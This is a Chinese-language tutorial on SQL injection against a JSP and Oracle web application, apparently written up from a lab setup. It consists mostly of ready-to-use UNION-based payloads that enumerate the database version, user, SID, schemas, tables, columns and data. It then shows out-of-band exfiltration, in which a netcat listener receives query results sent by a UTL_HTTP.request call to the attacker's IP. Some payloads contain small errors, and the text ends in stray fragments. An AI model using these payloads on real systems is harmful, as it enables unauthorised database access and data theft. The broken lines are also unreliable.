JSP+Oracle注入
实验的环境:Windows+Oracle+tomcat+jsp
网站url地址:http://x.x.x.x/1/index.jsp?id=1
路径: C:\Program Files\Apache Software Foundation\Tomcat 6.0\webapps\1
实验过程:
例如以下代码:
and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual
获取当前数据库连接用户名,可执行如下查询:
and 1=2 union select null,null,(select SYS_CONTEXT ('USERENV','CURRENT_USER') from dual) from dual
执行如下查询:
and 1=2 union select null,null,(select member from v$logfile where rownum=1) from dual
通过查询日志文件绝对路径,可以判断操作系统平台。
另外,要获取服务器sid,可以执行如下查询:
and 1=2 union select null,null,(select instance_name from v$instance) from dual
一、爆库名
在注入点提交如下语句:
and 1=2 union select null,null,(select owner from all_tables where rownum=1) from dual
可查询爆出中第一个库名,然后继续查询提交:
and 1=2 union select null,null,(select owner from all_table where rownum=1 and owner<>'第一个库名') from dual
用同样的方法,可以查询出当前用户数据库中的所有数据库库名。
二、获取表名
在注入点出提交如下查询:
and 1=2 union select null,null,(select table_name from user_tables where rownum=1) from dual
可查询数据库中的第一个表,然后继续查询提交:
and 1=2 union select null,null,(select table_name from user_tables where rownum=1 and table_name<>'第一个表名') from dual
注意:表名要用大写或大写的十六进制代码。用同样的方法,可以查询出当前用户数据库中的所有表明(在“and table_name<>'第一个表名'“后面加上“and table_name<>'第二个表名'“ 变成
and 1=2 union select null,null,(select table_name from user_tables where rownum=1 and table_name<>'第一个表名' and table_name<>'第二个表名') from dual
注:这里的表名和下面的字段名均为大写。
三、获取字段名
在注入点出提交一下查询
and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='表名' and rownum=1) from dual
可获取指定中第一个字段。然后继续查询提交。
and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='表名' and column_name<>'第一个字段' and rownum=1) from dual
即可获得指定表中第二个字段。用同样的方法,可以查询出指定表中的所有字段名如下:
and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='表名' and column_name<>'第一个字段' and column_name<>'第二个字段' and rownum=1) from dual
在注入点处提交一下查询:
and 1=2 union select null,null,字段名 from 表名
在注入点出提交如下查询:
and exists(select count(*) from all_objects where object_name='UTL_HTTP')
如果页面返回正常,则说明UTL_HTTP存储过程可以使用。
首先,在本地用nc监听一个端口,要求本地主机拥有一个公网IP地址,例如可以执行如下命令:
nc –vv –l –p 8888
可监听本地8888端口。
监听端口后,在注入点出提交如下查询:
and UTL_HTTP.request('http://本地IP:端口号/'||(查询语句))=1—
即可实现注入攻击。例如本地主机ip为192.168.0.189,监听端口为8888,要查询oracle版本,可提交如下查询:
and UTL_HTTP.request('http://192.168.0.189:8888/'||(select banner from sys.v_$version where rownum=1))=1—
执行语句后,在nc监听窗口中就会返回注入查询结果信息,如下图:
你好
Chin